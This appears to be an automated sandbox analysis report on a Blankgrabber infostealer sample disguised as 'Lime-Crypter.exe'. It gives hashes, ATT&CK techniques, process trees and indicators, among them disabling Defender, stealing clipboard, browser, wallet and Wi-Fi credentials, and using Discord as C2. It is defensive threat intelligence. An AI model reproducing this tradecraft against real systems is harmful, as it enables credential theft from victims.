blankgrabber | 61a55cf54529fdab7b1c462e75aea3257a1862f7a2ba84359f67a6e6ccc37afe

Analysis

max time kernel
30s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 12:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Lime-Crypter.exe
Size 8.1MB
Sample260805-pff3ca1xfx
SHA256 61a55cf54529fdab7b1c462e75aea3257a1862f7a2ba84359f67a6e6ccc37afe
MD5 1c1b49578534a1c285a26445747a8e1f
SHA1 84d1af71b59fee58cfef913e39be6571aa483107
SHA512 baf93ee44bb4dc90c8894071b04de325c22d3ca3ac14754456fca2518799d4874860f94814f9ea3c95a48b3ab699c0c3daa8febe189df70114bce30faf9e1e42
SSDEEP 196608:LQBALZR3uUhKKMkS0lHJgVbzvpIWp1PlpTHrjxM:LQBKHuUhqkS0tCVbzvtH7TXxM
TLSH
T167863302E31DE88FE784F939C38DD7701B072E85A9E064541A8AA7F3595B19F8835F4B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution blankgrabber persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

A stealer written in Python and packaged with Pyinstaller 1 IoCs

resource	yara_rule
behavioral2/files/0x000b00000001b8ab-10.dat	blankgrabber_exe

Deletes Windows Defender Definitions 2 TTPs 7 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
5556	MpCmdRun.exe
6008	MpCmdRun.exe
4088	MpCmdRun.exe
4296	MpCmdRun.exe
6328	MpCmdRun.exe
4308	MpCmdRun.exe
3276	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 38 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3444	powershell.exe
5716	powershell.exe
6708	powershell.exe
5900	powershell.exe
5648	powershell.exe
2640	powershell.exe
1636	powershell.exe
5872	powershell.exe
2052	powershell.exe
5856	powershell.exe
6660	powershell.exe
3164	powershell.exe
3304	powershell.exe
3484	powershell.exe
4588	powershell.exe
6736	powershell.exe
3136	powershell.exe
3408	powershell.exe
2300	powershell.exe
1556	powershell.exe
2164	powershell.exe
5200	powershell.exe
1260	powershell.exe
4792	powershell.exe
1620	powershell.exe
6976	powershell.exe
6676	powershell.exe
4792	powershell.exe
2484	powershell.exe
728	powershell.exe
4908	powershell.exe
5496	powershell.exe
3652	powershell.exe
2428	powershell.exe
4536	powershell.exe
3980	powershell.exe
3220	powershell.exe
608	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 8 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4792	powershell.exe
3980	powershell.exe
728	powershell.exe
2164	powershell.exe
4908	powershell.exe
3652	powershell.exe
3136	powershell.exe
1260	powershell.exe

Clipboard Data 1 TTPs 16 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5612	cmd.exe
2380	powershell.exe
1188	powershell.exe
6460	cmd.exe
6716	powershell.exe
6576	powershell.exe
2056	powershell.exe
6396	cmd.exe
1240	cmd.exe
5132	cmd.exe
2676	cmd.exe
4464	powershell.exe
1748	powershell.exe
5708	cmd.exe
1556	cmd.exe
4928	powershell.exe

Executes dropped EXE 15 IoCs

pid	Process
5824	svchost.exe
2252	svchost.exe
5064	svchost.exe
1200	svchost.exe
5996	svchost.exe
2620	svchost.exe
2232	svchost.exe
4088	svchost.exe
1628	svchost.exe
4668	svchost.exe
1100	svchost.exe
5116	svchost.exe
2108	svchost.exe
3476	svchost.exe
4464	rar.exe

Loads dropped DLL 64 IoCs

pid	Process
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
2252	svchost.exe
1200	svchost.exe
1200	svchost.exe
2252	svchost.exe
1200	svchost.exe
1200	svchost.exe
1200	svchost.exe
1200	svchost.exe
1200	svchost.exe
1200	svchost.exe
1200	svchost.exe
2620	svchost.exe
2620	svchost.exe
2620	svchost.exe
1200	svchost.exe
2620	svchost.exe
1200	svchost.exe
2620	svchost.exe
1200	svchost.exe
1200	svchost.exe
2620	svchost.exe
1200	svchost.exe
1200	svchost.exe
2620	svchost.exe
4088	svchost.exe
2620	svchost.exe
2620	svchost.exe
4088	svchost.exe
4088	svchost.exe
2620	svchost.exe
4088	svchost.exe
4088	svchost.exe
2620	svchost.exe
1200	svchost.exe
2620	svchost.exe
1200	svchost.exe
2620	svchost.exe
4088	svchost.exe
2620	svchost.exe
2620	svchost.exe
4088	svchost.exe
4088	svchost.exe
4088	svchost.exe
4088	svchost.exe
4088	svchost.exe
4088	svchost.exe
4668	svchost.exe
4668	svchost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
12	discord.com
15	discord.com
18	discord.com
21	discord.com
24	discord.com
1	discord.com
6	discord.com
9	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 24 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4312	tasklist.exe
4468	tasklist.exe
5648	tasklist.exe
6740	tasklist.exe
6384	tasklist.exe
1772	tasklist.exe
5508	tasklist.exe
5632	tasklist.exe
5508	tasklist.exe
2908	tasklist.exe
292	tasklist.exe
3508	tasklist.exe
6444	tasklist.exe
5648	tasklist.exe
6928	tasklist.exe
4564	tasklist.exe
4992	tasklist.exe
996	tasklist.exe
6240	tasklist.exe
820	tasklist.exe
2976	tasklist.exe
5792	tasklist.exe
7132	tasklist.exe
7100	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c54b-80.dat	upx
behavioral2/files/0x000d00000001c516-85.dat	upx
behavioral2/files/0x000d00000001c549-88.dat	upx
behavioral2/files/0x000d00000001c519-138.dat	upx
behavioral2/files/0x000d00000001c518-137.dat	upx
behavioral2/memory/2252-140-0x00007FF831630000-0x00007FF831653000-memory.dmp	upx
behavioral2/memory/2252-141-0x00007FF83B080000-0x00007FF83B08F000-memory.dmp	upx
behavioral2/memory/2252-139-0x00007FF822E00000-0x00007FF8233E9000-memory.dmp	upx
behavioral2/files/0x000d00000001c517-136.dat	upx
behavioral2/files/0x000d00000001c515-135.dat	upx
behavioral2/files/0x000d00000001c560-134.dat	upx
behavioral2/files/0x000d00000001c55e-133.dat	upx
behavioral2/files/0x000d00000001c54e-132.dat	upx
behavioral2/files/0x000d00000001c54a-129.dat	upx
behavioral2/memory/2252-146-0x00007FF833880000-0x00007FF8338AD000-memory.dmp	upx
behavioral2/files/0x000d00000001c548-128.dat	upx
behavioral2/memory/2252-147-0x00007FF831730000-0x00007FF831749000-memory.dmp	upx
behavioral2/memory/2252-148-0x00007FF831600000-0x00007FF831623000-memory.dmp	upx
behavioral2/memory/2252-149-0x00007FF82C260000-0x00007FF82C3D7000-memory.dmp	upx
behavioral2/memory/2252-150-0x00007FF82F510000-0x00007FF82F529000-memory.dmp	upx
behavioral2/memory/2252-151-0x00007FF83A2C0000-0x00007FF83A2CD000-memory.dmp	upx
behavioral2/memory/2252-152-0x00007FF82F4D0000-0x00007FF82F503000-memory.dmp	upx
behavioral2/memory/2252-155-0x00007FF82B1D0000-0x00007FF82B29D000-memory.dmp	upx
behavioral2/memory/2252-159-0x00007FF831630000-0x00007FF831653000-memory.dmp	upx
behavioral2/memory/2252-158-0x00007FF822E00000-0x00007FF8233E9000-memory.dmp	upx
behavioral2/memory/2252-161-0x00007FF839960000-0x00007FF83996D000-memory.dmp	upx
behavioral2/memory/2252-160-0x00007FF82F2B0000-0x00007FF82F2C4000-memory.dmp	upx
behavioral2/memory/2252-156-0x00007FF8228E0000-0x00007FF822E00000-memory.dmp	upx
behavioral2/memory/2252-226-0x00007FF8286E0000-0x00007FF8287FC000-memory.dmp	upx
behavioral2/memory/2252-227-0x00007FF82C260000-0x00007FF82C3D7000-memory.dmp	upx
behavioral2/memory/2252-225-0x00007FF831600000-0x00007FF831623000-memory.dmp	upx
behavioral2/memory/1200-224-0x00007FF8222F0000-0x00007FF8228D9000-memory.dmp	upx
behavioral2/memory/2252-237-0x00007FF82F510000-0x00007FF82F529000-memory.dmp	upx
behavioral2/memory/1200-236-0x00007FF82D290000-0x00007FF82D2B3000-memory.dmp	upx
behavioral2/memory/1200-238-0x00007FF8398F0000-0x00007FF8398FF000-memory.dmp	upx
behavioral2/memory/2252-263-0x00007FF82B1D0000-0x00007FF82B29D000-memory.dmp	upx
behavioral2/memory/1200-262-0x00007FF81FA30000-0x00007FF81FA5D000-memory.dmp	upx
behavioral2/memory/2252-261-0x00007FF82F4D0000-0x00007FF82F503000-memory.dmp	upx
behavioral2/memory/2252-268-0x00007FF8228E0000-0x00007FF822E00000-memory.dmp	upx
behavioral2/memory/1200-270-0x00007FF818F20000-0x00007FF818F39000-memory.dmp	upx
behavioral2/memory/1200-274-0x00007FF818A10000-0x00007FF818A33000-memory.dmp	upx
behavioral2/memory/1200-337-0x00007FF8187E0000-0x00007FF818957000-memory.dmp	upx
behavioral2/memory/2620-347-0x00007FF8190F0000-0x00007FF8196D9000-memory.dmp	upx
behavioral2/memory/1200-351-0x00007FF8222F0000-0x00007FF8228D9000-memory.dmp	upx
behavioral2/memory/1200-370-0x00007FF82B100000-0x00007FF82B119000-memory.dmp	upx
behavioral2/memory/1200-374-0x00007FF82D290000-0x00007FF82D2B3000-memory.dmp	upx
behavioral2/memory/1200-373-0x00007FF838A70000-0x00007FF838A7D000-memory.dmp	upx
behavioral2/memory/2620-372-0x00007FF81F630000-0x00007FF81F653000-memory.dmp	upx
behavioral2/memory/2252-371-0x00007FF8286E0000-0x00007FF8287FC000-memory.dmp	upx
behavioral2/memory/2620-375-0x00007FF836020000-0x00007FF83602F000-memory.dmp	upx
behavioral2/memory/1200-376-0x00007FF81E580000-0x00007FF81E5B3000-memory.dmp	upx
behavioral2/memory/2620-386-0x00007FF81F600000-0x00007FF81F62D000-memory.dmp	upx
behavioral2/memory/1200-385-0x00007FF819020000-0x00007FF8190ED000-memory.dmp	upx
behavioral2/memory/1200-387-0x00007FF818A10000-0x00007FF818A33000-memory.dmp	upx
behavioral2/memory/1200-388-0x00007FF8170D0000-0x00007FF8175F0000-memory.dmp	upx
behavioral2/memory/1200-390-0x00007FF8187E0000-0x00007FF818957000-memory.dmp	upx
behavioral2/memory/2620-391-0x00007FF8190F0000-0x00007FF8196D9000-memory.dmp	upx
behavioral2/memory/2620-456-0x00007FF828F90000-0x00007FF828FA9000-memory.dmp	upx
behavioral2/memory/2620-476-0x00007FF81F630000-0x00007FF81F653000-memory.dmp	upx
behavioral2/memory/2252-458-0x00007FF822E00000-0x00007FF8233E9000-memory.dmp	upx
behavioral2/memory/2620-475-0x00007FF816F50000-0x00007FF8170C7000-memory.dmp	upx
behavioral2/memory/2620-474-0x00007FF828E30000-0x00007FF828E53000-memory.dmp	upx
behavioral2/memory/2252-459-0x00007FF831630000-0x00007FF831653000-memory.dmp	upx
behavioral2/memory/1200-473-0x00007FF82B100000-0x00007FF82B119000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5048	cmd.exe
5716	cmd.exe
4556	cmd.exe
2696	cmd.exe
5496	cmd.exe
6664	cmd.exe
6968	cmd.exe
560	cmd.exe
2036	cmd.exe
5028	cmd.exe
1500	cmd.exe
2100	cmd.exe
6788	cmd.exe
1704	cmd.exe
4452	cmd.exe
3436	cmd.exe
3760	cmd.exe
2352	cmd.exe
5904	cmd.exe
6492	cmd.exe
4296	cmd.exe
5332	cmd.exe
7068	cmd.exe
1488	cmd.exe
2736	cmd.exe
6204	cmd.exe
6320	cmd.exe
6908	cmd.exe
4728	cmd.exe
4380	cmd.exe
5432	cmd.exe
1720	cmd.exe
6488	cmd.exe
6264	cmd.exe
3400	cmd.exe
820	cmd.exe
6364	cmd.exe
2280	cmd.exe
6232	cmd.exe
6064	cmd.exe
5176	cmd.exe
6496	cmd.exe
3052	cmd.exe
3016	cmd.exe
2564	cmd.exe
6916	cmd.exe
6184	cmd.exe
1636	cmd.exe
2276	cmd.exe
5220	cmd.exe
2160	cmd.exe
6764	cmd.exe
804	cmd.exe
6608	cmd.exe
4092	cmd.exe
6056	cmd.exe
4984	cmd.exe
4692	cmd.exe
3316	cmd.exe
5000	cmd.exe
584	cmd.exe
6728	cmd.exe
6360	cmd.exe
5104	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 16 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
7136	cmd.exe
2496	cmd.exe
1032	netsh.exe
6848	netsh.exe
6984	netsh.exe
6948	cmd.exe
3944	netsh.exe
4240	netsh.exe
3016	cmd.exe
4088	netsh.exe
2320	netsh.exe
2696	cmd.exe
3812	netsh.exe
3760	cmd.exe
6260	cmd.exe
1500	cmd.exe

Detects videocard installed 1 TTPs 7 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4692	WMIC.exe
4964	WMIC.exe
6824	WMIC.exe
5224	WMIC.exe
5204	WMIC.exe
1896	WMIC.exe
4784	WMIC.exe

Gathers system information 1 TTPs 8 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1388	systeminfo.exe
2188	systeminfo.exe
4892	systeminfo.exe
6104	systeminfo.exe
3172	systeminfo.exe
6796	systeminfo.exe
4576	systeminfo.exe
3960	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
2640	powershell.exe
2640	powershell.exe
728	powershell.exe
728	powershell.exe
5648	powershell.exe
5648	powershell.exe
5648	powershell.exe
728	powershell.exe
2640	powershell.exe
2640	powershell.exe
1748	powershell.exe
1748	powershell.exe
3304	WMIC.exe
3304	WMIC.exe
3304	WMIC.exe
3304	WMIC.exe
1116	powershell.exe
1116	powershell.exe
1748	powershell.exe
1116	powershell.exe
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
3632	powershell.exe
3632	powershell.exe
3632	powershell.exe
996	WMIC.exe
996	WMIC.exe
996	WMIC.exe
996	WMIC.exe
5924	WMIC.exe
5924	WMIC.exe
5924	WMIC.exe
5924	WMIC.exe
6048	WMIC.exe
6048	WMIC.exe
6048	WMIC.exe
6048	WMIC.exe
1556	powershell.exe
1556	powershell.exe
1556	powershell.exe
4784	WMIC.exe
4784	WMIC.exe
4784	WMIC.exe
4784	WMIC.exe
2740	powershell.exe
2740	powershell.exe
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeDebugPrivilege	4312	tasklist.exe
Token: SeDebugPrivilege	5632	tasklist.exe
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeIncreaseQuotaPrivilege	3304	WMIC.exe
Token: SeSecurityPrivilege	3304	WMIC.exe
Token: SeTakeOwnershipPrivilege	3304	WMIC.exe
Token: SeLoadDriverPrivilege	3304	WMIC.exe
Token: SeSystemProfilePrivilege	3304	WMIC.exe
Token: SeSystemtimePrivilege	3304	WMIC.exe
Token: SeProfSingleProcessPrivilege	3304	WMIC.exe
Token: SeIncBasePriorityPrivilege	3304	WMIC.exe
Token: SeCreatePagefilePrivilege	3304	WMIC.exe
Token: SeBackupPrivilege	3304	WMIC.exe
Token: SeRestorePrivilege	3304	WMIC.exe
Token: SeShutdownPrivilege	3304	WMIC.exe
Token: SeDebugPrivilege	3304	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3304	WMIC.exe
Token: SeRemoteShutdownPrivilege	3304	WMIC.exe
Token: SeUndockPrivilege	3304	WMIC.exe
Token: SeManageVolumePrivilege	3304	WMIC.exe
Token: 33	3304	WMIC.exe
Token: 34	3304	WMIC.exe
Token: 35	3304	WMIC.exe
Token: 36	3304	WMIC.exe
Token: SeDebugPrivilege	4468	tasklist.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeIncreaseQuotaPrivilege	3304	WMIC.exe
Token: SeSecurityPrivilege	3304	WMIC.exe
Token: SeTakeOwnershipPrivilege	3304	WMIC.exe
Token: SeLoadDriverPrivilege	3304	WMIC.exe
Token: SeSystemProfilePrivilege	3304	WMIC.exe
Token: SeSystemtimePrivilege	3304	WMIC.exe
Token: SeProfSingleProcessPrivilege	3304	WMIC.exe
Token: SeIncBasePriorityPrivilege	3304	WMIC.exe
Token: SeCreatePagefilePrivilege	3304	WMIC.exe
Token: SeBackupPrivilege	3304	WMIC.exe
Token: SeRestorePrivilege	3304	WMIC.exe
Token: SeShutdownPrivilege	3304	WMIC.exe
Token: SeDebugPrivilege	3304	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3304	WMIC.exe
Token: SeRemoteShutdownPrivilege	3304	WMIC.exe
Token: SeUndockPrivilege	3304	WMIC.exe
Token: SeManageVolumePrivilege	3304	WMIC.exe
Token: 33	3304	WMIC.exe
Token: 34	3304	WMIC.exe
Token: 35	3304	WMIC.exe
Token: 36	3304	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5648	powershell.exe
Token: SeSecurityPrivilege	5648	powershell.exe
Token: SeTakeOwnershipPrivilege	5648	powershell.exe
Token: SeLoadDriverPrivilege	5648	powershell.exe
Token: SeSystemProfilePrivilege	5648	powershell.exe
Token: SeSystemtimePrivilege	5648	powershell.exe
Token: SeProfSingleProcessPrivilege	5648	powershell.exe
Token: SeIncBasePriorityPrivilege	5648	powershell.exe
Token: SeCreatePagefilePrivilege	5648	powershell.exe
Token: SeBackupPrivilege	5648	powershell.exe
Token: SeRestorePrivilege	5648	powershell.exe
Token: SeShutdownPrivilege	5648	powershell.exe
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeSystemEnvironmentPrivilege	5648	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5908 wrote to memory of 4120	5908	Lime-Crypter.exe	90
PID 5908 wrote to memory of 5824	5908	Lime-Crypter.exe	91
PID 5824 wrote to memory of 2252	5824	svchost.exe	92
PID 4120 wrote to memory of 1220	4120	Lime-Crypter.exe	93
PID 4120 wrote to memory of 5064	4120	Lime-Crypter.exe	94
PID 2252 wrote to memory of 4620	2252	svchost.exe	95
PID 2252 wrote to memory of 2276	2252	svchost.exe	96
PID 2252 wrote to memory of 5620	2252	svchost.exe	97
PID 5064 wrote to memory of 1200	5064	svchost.exe	101
PID 5620 wrote to memory of 2640	5620	cmd.exe	102
PID 2276 wrote to memory of 728	2276	cmd.exe	103
PID 4620 wrote to memory of 5648	4620	cmd.exe	104
PID 2252 wrote to memory of 2824	2252	svchost.exe	105
PID 2252 wrote to memory of 5104	2252	svchost.exe	107
PID 2824 wrote to memory of 4312	2824	cmd.exe	109
PID 2252 wrote to memory of 2628	2252	svchost.exe	110
PID 2252 wrote to memory of 1240	2252	svchost.exe	112
PID 5104 wrote to memory of 5632	5104	cmd.exe	114
PID 2252 wrote to memory of 5160	2252	svchost.exe	115
PID 2252 wrote to memory of 5752	2252	svchost.exe	116
PID 2252 wrote to memory of 2696	2252	svchost.exe	119
PID 2252 wrote to memory of 1488	2252	svchost.exe	120
PID 2252 wrote to memory of 4916	2252	svchost.exe	122
PID 1240 wrote to memory of 1748	1240	cmd.exe	306
PID 5752 wrote to memory of 6056	5752	cmd.exe	144
PID 2628 wrote to memory of 3304	2628	cmd.exe	208
PID 2696 wrote to memory of 3812	2696	cmd.exe	212
PID 5160 wrote to memory of 4468	5160	cmd.exe	129
PID 1488 wrote to memory of 2188	1488	cmd.exe	198
PID 4916 wrote to memory of 1116	4916	cmd.exe	131
PID 1220 wrote to memory of 4520	1220	Lime-Crypter.exe	132
PID 1220 wrote to memory of 5996	1220	Lime-Crypter.exe	133
PID 5996 wrote to memory of 2620	5996	svchost.exe	134
PID 2252 wrote to memory of 2736	2252	svchost.exe	135
PID 2736 wrote to memory of 5880	2736	cmd.exe	137
PID 1116 wrote to memory of 5988	1116	powershell.exe	139
PID 4520 wrote to memory of 4492	4520	Lime-Crypter.exe	140
PID 4520 wrote to memory of 2232	4520	Lime-Crypter.exe	141
PID 5988 wrote to memory of 5672	5988	csc.exe	142
PID 2232 wrote to memory of 4088	2232	svchost.exe	269
PID 2252 wrote to memory of 6056	2252	svchost.exe	144
PID 6056 wrote to memory of 2420	6056	cmd.exe	146
PID 2252 wrote to memory of 3436	2252	svchost.exe	147
PID 3436 wrote to memory of 2904	3436	cmd.exe	149
PID 4492 wrote to memory of 4264	4492	Lime-Crypter.exe	150
PID 2252 wrote to memory of 4984	2252	svchost.exe	151
PID 4492 wrote to memory of 1628	4492	Lime-Crypter.exe	153
PID 1628 wrote to memory of 4668	1628	svchost.exe	525
PID 4984 wrote to memory of 2284	4984	cmd.exe	365
PID 2252 wrote to memory of 3848	2252	svchost.exe	156
PID 3848 wrote to memory of 4688	3848	cmd.exe	158
PID 4264 wrote to memory of 5724	4264	Lime-Crypter.exe	159
PID 4264 wrote to memory of 1100	4264	Lime-Crypter.exe	160
PID 1100 wrote to memory of 5116	1100	svchost.exe	161
PID 2252 wrote to memory of 4488	2252	svchost.exe	162
PID 4488 wrote to memory of 2520	4488	cmd.exe	164
PID 5724 wrote to memory of 2624	5724	Lime-Crypter.exe	166
PID 5724 wrote to memory of 2108	5724	Lime-Crypter.exe	167
PID 2108 wrote to memory of 3476	2108	svchost.exe	301
PID 2276 wrote to memory of 6008	2276	cmd.exe	486
PID 2252 wrote to memory of 724	2252	svchost.exe	170
PID 724 wrote to memory of 2300	724	cmd.exe	172
PID 2252 wrote to memory of 2148	2252	svchost.exe	173
PID 2148 wrote to memory of 3632	2148	cmd.exe	175

C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
"C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5908
- C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
  "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
    "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1220
  - - C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
      "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4520
    - - C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4492
      - C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4264
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:5724
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        8⤵
        
        PID:2624
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        9⤵
        
        PID:2188
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        10⤵
        
        PID:1292
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        11⤵
        
        PID:4580
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        12⤵
        
        PID:3044
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        13⤵
        
        PID:2612
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        14⤵
        
        PID:964
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        15⤵
        
        PID:5744
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        16⤵
        
        PID:2900
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        17⤵
        
        PID:1748
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        18⤵
        
        PID:5756
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        19⤵
        
        PID:4260
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        20⤵
        
        PID:1940
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        21⤵
        
        PID:4344
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        22⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        23⤵
        
        PID:2084
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        24⤵
        
        PID:5976
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        25⤵
        
        PID:1872
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        26⤵
        
        PID:5440
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        27⤵
        
        PID:6568
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        28⤵
        
        PID:1616
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        29⤵
        
        PID:6620
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        30⤵
        
        PID:7048
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        31⤵
        
        PID:5192
        
